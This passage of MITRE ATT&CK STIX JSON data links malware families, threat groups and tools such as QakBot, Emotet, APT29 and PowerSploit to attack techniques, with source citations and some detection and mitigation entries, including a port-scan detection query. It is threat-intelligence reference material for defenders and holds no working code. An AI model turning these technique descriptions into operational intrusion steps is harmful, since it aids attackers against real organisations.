2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."},{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-10-01T14:20:22.765Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has the ability to download additional components and malware.(Citation: Trend Micro Qakbot May 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Cyberint Qakbot May 2021)(Citation: Kaspersky QakBot September 2021)(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--aa498c95-d53a-4ab7-96ba-26d7111d71d0","created":"2022-04-14T17:03:26.376Z","x_mitre_version":"0.1","external_references":[{"source_name":"NCSC CISA Cyclops Blink Advisory February 2022","url":"https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter","description":"NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) has used [Tor](https://attack.mitre.org/software/S0183) nodes for C2 traffic.(Citation: NCSC CISA Cyclops Blink Advisory February 2022)","modified":"2022-04-14T17:03:26.376Z","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa4ac94c-705e-4215-8d52-a97b583b62c5","type":"relationship","created":"2021-01-06T17:51:12.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."},{"source_name":"Crowdstrike EvilCorp March 2021","url":"https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/","description":"Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021."},{"source_name":"Treasury EvilCorp Dec 2019","url":"https://home.treasury.gov/news/press-releases/sm845","description":"U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021."}],"modified":"2021-10-01T20:31:32.426Z","description":"(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa56ecfa-9eaf-457c-b46c-0710a0c8ff7c","type":"relationship","created":"2021-09-29T01:07:33.094Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-08T15:41:36.726Z","description":"[xCaon](https://attack.mitre.org/software/S0653) has encrypted data sent to the C2 server using a XOR key.(Citation: Checkpoint IndigoZebra July 2021) ","relationship_type":"uses","source_ref":"malware--21583311-6321-4891-8a37-3eb4e57b0fb1","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa5d5fcd-db19-4593-a958-b09853ceb372","type":"relationship","created":"2020-05-05T19:37:33.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.513Z","description":"[APT-C-36](https://attack.mitre.org/groups/G0099) has used a macro function to set scheduled tasks, disguised as those used by Google.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aa60abd5-cc76-48b0-b39f-510317b18434","created":"2022-01-11T14:58:01.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.932Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can use WMI to execute commands.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aa6411df-8f39-4368-9b35-45cc2a7394d8","created":"2024-03-29T14:04:56.834Z","revoked":false,"external_references":[{"source_name":"Segurança Informática URSA Sophisticated Loader 2020","description":"Pedro Tavares (Segurança Informática). (2020, September 15). Threat analysis: The emergent URSA trojan impacts many countries using a sophisticated loader. Retrieved March 13, 2024.","url":"https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T14:04:56.834Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) can monitor browser activity for online banking actions and display full-screen overlay images to block user access to the intended site or present additional data fields.(Citation: Segurança Informática URSA Sophisticated Loader 2020)(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--aa64ac0b-3c22-41ad-bcd5-ee56d59de503","created":"2022-06-03T14:40:23.445Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."},{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[DanBot](https://attack.mitre.org/software/S1014) has the ability to execute arbitrary commands via `cmd.exe`.(Citation: SecureWorks August 2019)(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-09-01T14:12:48.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa64ee12-ae96-40fe-ba37-a8893cd321ec","type":"relationship","created":"2019-07-19T16:38:05.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:28.941Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used whoami and query user to obtain information about the victim user.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa6d74b0-3db2-4679-bf1c-03d3dd7561b0","type":"relationship","created":"2019-03-26T17:48:52.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Banking Malware Jan 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/","description":"Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019."}],"modified":"2019-06-28T15:25:29.590Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been observed to hook network APIs to monitor network traffic. (Citation: Trend Micro Banking Malware Jan 2019)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aa751028-fabd-40d6-aedd-26b850a80056","created":"2024-10-07T21:52:43.290Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T21:52:43.290Z","description":"Implement robust user account management practices to limit permissions associated with software execution. Ensure that software runs with the lowest necessary privileges, avoiding the use of root or administrator accounts when possible. By restricting permissions, you can minimize the risk of propagation and unauthorized actions in the event of a supply chain compromise, reducing the attack surface for adversaries to exploit within compromised systems.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa82f131-3eeb-4d1a-9f2e-bb2efcc7470b","type":"relationship","created":"2021-05-26T12:40:43.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."},{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."}],"modified":"2021-05-26T12:40:43.171Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has obtained and leveraged publicly-available tools for early intrusion activities.(Citation: FireEye APT33 Guardrail)(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--aa83b2a0-9941-461f-b9be-a758315f0c4d","created":"2022-06-03T16:10:56.515Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: SecureWorks August 2019)","modified":"2022-06-03T16:10:56.515Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aa84727a-49eb-46cd-ac18-4fb7bd58fa98","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AddMonitor","description":"Microsoft. (n.d.). AddMonitor function. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/printdocs/addmonitor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:26:17.887Z","description":"Monitor process API calls to AddMonitor.(Citation: AddMonitor)","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aa84d43a-4f79-485c-95ea-a375d5f52838","created":"2023-03-26T19:11:10.948Z","revoked":false,"external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:11:10.948Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principle Names to crack offline.(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aa962ede-f581-49c2-ade1-ed2eb91ed8ac","created":"2023-09-14T19:05:01.511Z","revoked":false,"external_references":[{"source_name":"Zdnet Ngrok September 2018","description":"Cimpanu, C. (2018, September 13). Sly malware author hides cryptomining botnet behind ever-shifting proxy service. Retrieved September 15, 2020.","url":"https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-14T19:05:01.511Z","description":"[ngrok](https://attack.mitre.org/software/S0508) can provide DGA for C2 servers through the use of random URL strings that change every 12 hours.(Citation: Zdnet Ngrok September 2018)","relationship_type":"uses","source_ref":"tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa9b33a5-81b2-4126-b8f5-0182ec365fc8","type":"relationship","created":"2019-09-24T14:19:05.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:02.001Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has a command to perform video device spying.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa9de902-8eb4-41b0-8b6a-b26469c78b27","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for newly constructed drive letters or mount points to a data storage device for attempts to write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock.","source_ref":"x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aaa0e944-7158-4baa-b45b-c687f7b161b5","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Harmj0y Kerberoast Nov 2016","description":"Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved September 23, 2024.","url":"https://blog.harmj0y.net/powershell/kerberoasting-without-mimikatz/"},{"source_name":"PowerSploit Invoke Kerberoast","description":"Schroeder, W. & Hart M. (2016, October 31). Invoke-Kerberoast. Retrieved March 23, 2018.","url":"https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:20:10.995Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-Kerberoast module can request service tickets and return crackable ticket hashes.(Citation: PowerSploit Invoke Kerberoast)(Citation: Harmj0y Kerberoast Nov 2016)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aaa2f519-62f6-4dcb-8193-6ed33b8ff4ab","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.844Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can run a command on another machine using [PsExec](https://attack.mitre.org/software/S0029).(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aaa42f0a-5709-45e2-81d3-0687b3c72cc9","type":"relationship","created":"2022-02-04T22:03:05.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"modified":"2022-02-04T22:03:05.852Z","description":"[Lizar](https://attack.mitre.org/software/S0681) can collect the computer name from the machine,.(Citation: BiZone Lizar May 2021) ","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aaa7ebfc-f686-4aea-b54b-5e6366b276f7","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T18:13:24.097Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. It should be noted that when a host/ port/ service scan is performed from a compromised machine, a single machine makes multiple calls to other hosts in the network to identify live hosts and services.\n\nAfter compromising an initial machine, adversaries commonly attempt to laterally move across the network. The first step to attempt the [Lateral Movement](https://attack.mitre.org/tactics/TA0008) often involves conducting host identification, port and service scans on the internal network via the compromised machine using tools such as Nmap, Cobalt Strike, etc.\n\nNote: It should be noted that when a host/ port/ service scan is performed from a compromised machine, a single machine makes multiple calls to other hosts in the network to identify live hosts and services. This can be detected using the following query\n\nAnalytic 1 - Identifying Port Scanning Activity\n\nsourcetype='firewall_logs' dest_ip='internal_subnet' | stats dc(dest_port) as pcount by src_ip | where pcount >5","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aaac742e-ad51-470d-826c-8196cf3c1d3e","type":"relationship","created":"2021-02-10T18:04:49.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T18:04:49.076Z","description":"[Volatile Cedar](https://attack.mitre.org/groups/G0123) can deploy additional tools.(Citation: ClearSky Lebanese Cedar Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aabb13d6-a73b-42aa-8014-696b94ff2416","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-19T19:46:38.477Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) can execute commands from its C2 server.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aac05114-174d-4c78-88b6-be502128b476","created":"2024-03-19T18:55:37.739Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-19T18:55:37.739Z","description":"[PACEMAKER](https://attack.mitre.org/software/S1109) can use a simple bash script for execution.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--647215dd-29a6-4528-b354-ca8b5e08fca1","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aac15fc0-a17b-4295-bf46-b18569bc2c4f","type":"relationship","created":"2021-01-08T21:16:36.990Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 